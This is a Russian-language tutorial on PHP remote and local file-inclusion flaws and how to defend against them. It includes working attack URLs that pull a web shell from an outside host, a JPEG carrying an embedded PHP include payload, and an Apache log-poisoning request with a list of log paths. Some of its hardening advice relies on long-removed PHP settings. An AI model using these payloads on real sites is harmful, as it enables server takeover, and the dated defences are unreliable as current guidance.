PHP-include и способы защиты
Введение
Глобальный инклуд
Наиболее опасная из уязвимостей веба, но к сожалению, или к счастью встречается в наше время крайне редко. Для атаки необходимо, что б функция allow_url_include была включена, тоесть "On"Уязвимость позволяет злоумышленнику выполнить на сервере произвольный php код.
В PHP существуют четыре функции для включения файлов в сценарии PHP:
* include();
* include_once();
* require();
* require_once().
Функция include() включает содержимое файла в сценарий. Рассмотрим пример "дважды" уязвимого кода:
<?php
if($_GET['page'].'.php')
{
include($_GET['page'].'.php');
}
else
{
include($file.'.php');
}
?>
С помощью условия мы проверяем, если через url на сервер передается элемент массива $_GET['page'], то вызываем функцию include(). Из-за того, что значение массива $_GET['page'] не проверяется на существование, с помощью функции file_exists() злоумышленник может провести атаку:http://site.ru/index.php?page=http://hack.ru/shell
В ином случае мы инклудим include($file.'.php'); Тут таже ситуация, просто запись кода немного другая. Переменная $file небыла определенна раннее и злоумышленник может выполнить удаленно php код:
http://site.ru/index.php?file=http://hack.ru/shell
Функция include_once() практически не отличается от include(), за одним исключением: прежде чем включать файл в программу, она проверяет, не был ли он включен ранее. Если файл уже был включен, вызов include_once() игнорируется, а если нет - происходит стандартное включение файла.
<?php
include_once($file.'.gif');
?>
В этом примере к подгружаемому файлу автоматически приписывается расширение '.gif'Избавиться от расширения '.gif' можно двумя способами:
1) если magic_quotes_gpc = Off то можно использовать "ядовитый ноль" - %00 который отрежит расширение
http://site.ru/index.php?file=http://hack.ru/shell.php%00
2) даже если magic_quotes_gpc = On http://site.ru/index.php?file=http://hack.ru/shell.php?
Функция require() аналогична include(), за исключением одного - файл, определяемый параметром require(), включается в сценарий независимо от местонахождения require() в сценарии.
<?php
require($file);
?>
Атака аналогична, но в этом случае расширение не приписывается:http://site.ru/index.php?page=http://hack.ru/shell.php
Функция require_once() загружает файл в сценарий всего один раз.
<?php
require_once($file.'.php');
?>
Атака аналогична...Теперь рассмотрим другой вариант инклуда. На этот раз необходимо, что б в файле php.ini
значение параметра allow_url_fopen было равно On, что и есть по умолчанию.
PHP код:
<?php
$f=fopen("$file.php","r");
while (!feof($f))
{
$s=fgets($f,255);
echo $s;
}
fclose($f);
?>
Из-за того что переменная $file не была определена ранее, злоумышленник может произвести атаку:http://site.ru/index.php?file=http://hack.ru/shell
В итоге опять получаем веб-шелл.Следующий пример - использование функции readfile()
<?php
readfile($file);
?>
Функция readfile() считывает файл, имя которого передано ей в качестве параметра, и выводит его содержимое на экран.В итоге опять получаем веб-шелл:
http://site.ru/index.php?file=http://hack.ru/shell
Теперь рассмотрим такой вариант:
<?php
echo implode("", file($file));
?>
С помощью функции implode() мы объединяем элементы массива в строку, а с помощью функции file() получаем содержимое файла в виде массива. В итоге опять имеем веб-шелл:http://site.ru/index.php?file=http://hack.ru/shell.php
Защита от глобальный инклудов
Конечно можно проверять файл на существование с помощью функции file_exists() и отфильтровывать нежелательные символы с помощью str_replace(), но я рекомендую использовать конструкцию switch case:
<?php
global $page;
switch ($page)
{
case '':
include ("pages/main.php");
break;
case 'index':
include ("pages/main.php");
break;
case 'page1':
include ("pages/folder/page1.php");
break;
case 'page2':
include ("pages/folder/page2.php");
break;
default:
include ("pages/hack.php");
break;
}
?>
Так же рекомендую отредактировать файл php.ini:
allow_url_include = Off //запрещаем удаленно инклудить файлы allow_url_fopen = Off //запрещаем fopen открывать ссылки register_globals = Off //отключим инициализацию глобальных переменных safe_mode = On //включаем safe_mode (у хеккера не будет доступа к /etc/passwd и ему подобным) |
Локальный инклуд
Не менее опасная уязвимость в вебе. Позволяет злоумышленнику инклудить файлы лежащие на сервере. Многие новички сталкиваясь с данной ошибкой веб-кодинга бросают дело, т.к не знают как действовать дальше и в какую сторону копать. Я приведу общий пример:
<?php
include("include/$file");
?>
Глобально проинклудить не получиться, т.к переменная $file приписывается после каталога /include/ Что же можно сделать?
Идеальным считается тот случай, когда на сайте стоит или форум или иная форма, с помощью которой можно загрузить любой файл c любым расширением.
Возникает вопрос - а почему с любым расширением? Возьмем к примеру вымышленный сайт на котором есть возможность загрузки аватарки через форум. На форуме стоит скрипт, который проверяет - действительно ли пользователь загрузил фотографию? Открываем paint и сохраняем любое изображение к примеру в формате jpg. После чего открываем его блокнотом и после кода изображения пишем <?php include("http://hack.ru/shell.php"); ?> В итоге получаем примерно такую картину:
яШяа JFIF ` ` яЫ C $.' ",#(7),01444'9=82<.342яЫ C 2!!222222222222222222222222222222222222222222222 22222яА 6 6" яД яД µ } !1AQa"q2Ѓ‘Ў#B±БRСр$3br‚ %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ„…†‡€‰ Љ’“”•–—˜™љўЈ¤Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФХЦЧШЩЪбвгд ежзийкстуфхцчшщъяД яД µ w !1AQaq"2ЃB‘Ў±Б #3RрbrС $4б%с&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ѓ„…†‡€‰ Љ’“”•–—˜™љўЈ¤Ґ¦§Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФХЦЧШЩЪвгде жзийктуфхцчшщъяЪ ? чъ(ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ?яЩ <?php include("http://hack.ru/shell.php"); ?>Теперь такую картинку можно загрузить на форум и она будет воспринята именно как картинка
Вернемся к вопросу о расширении. Почему нам подойдет любое? Дело в том, что функция include()
загружает код из одного файла в исполняемый файл. Вот пример:
http://www.site.com/index.php?include=../forum/images/shell.jpg
В результате, в файле index.php выполняется код <?php include("http://hack.ru/shell.php"); ?> Логи апатча
Как известно apache ведет лог-файлы httpd-access.log и httpd-error.log и все запросыестественно логируются и пишутся в соответствующие файлы. Вот примерное их расположение:
/logs/error.log /logs/access.log /logs/error_log /logs/access_log /var/log/error_log /var/log/access_log /var/log/error.log /var/log/access.log /var/www/logs/error_log /var/www/logs/error.log /var/www/logs/access_log /var/www/logs/access.log /var/log/apache/error_log /var/log/apache/error.log /var/log/apache/access_log /var/log/apache/access.log /var/log/httpd/error.log /var/log/httpd/access.log /var/log/httpd/error_log /var/log/httpd/access_log /apache/logs/error.log /apache/logs/access.log /apache/logs/error_log /apache/logs/access_log /usr/local/apache/logs/error_log /usr/local/apache/logs/error.log /usr/local/apache/logs/access_log /usr/local/apache/logs/access.log /home/www/logs/error_log /home/www/logs/error.log /home/www/logs/access_log /home/www/logs/access.logЯ же приведу пример на локалхосте, думаю многим понятнее будет. С помощью программы InetCrack я отправляю пакет такого содержания:
GET /index.php/<?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
Host: localhost
User-Agent: google/bot
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
Заголовок пакета записывается в логи апатча, расположенные по адресу: Z:\usr\local\apache\logs\access.log
Тоесть в этот файлик записывается вот такая строчка:127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/<?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414
Думаю суть понятна. Нам остается его проинклудить:http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log
И получить веб-шелл :)
Защита от локальных инклудов
Вот небольшой примерчик, как можно надежно защититься:
<?php
function stripslashes_for_array(&$array)
{
reset($array);
while (list($key, $val) = each($array))
{
if (is_string($val)) $array[$key] = stripslashes($val);
elseif (is_array($val)) $array[$key] = stripslashes_for_array($val);
}
return $array;
}
if (!get_magic_quotes_gpc())
{
stripslashes_for_array($_POST);
stripslashes_for_array($_GET);
}
if(isset($_GET['file']))$file=$_GET['file'];
else
{
if(isset($_POST['file']))$file=$_POST['file'];
else $file='';
}
$file=str_replace('/','',$file);
$file=str_replace('.','',$file);
if(!file_exists("include".'/'.$file.'.php')||$file=='index')
{
$file='news';
}
include("include".'/'.$file.'.php');
?>
И так, что тут происходит? Каждый элемент массива проверяется функцией stripslashes(). Она убивает бэкслеши. Далее проверяем установлено или нет значение элемента массива. Отфильтровуем недопустимые символы('/', '.') функцией str_replace(). Если файла не существует (проверяем с помощью функции file_exists()) - присваиваем значение переменной $file='news'. В остальных случаях(когда файл существует) инклудим его.
Дата створення/оновлення: 25.05.2018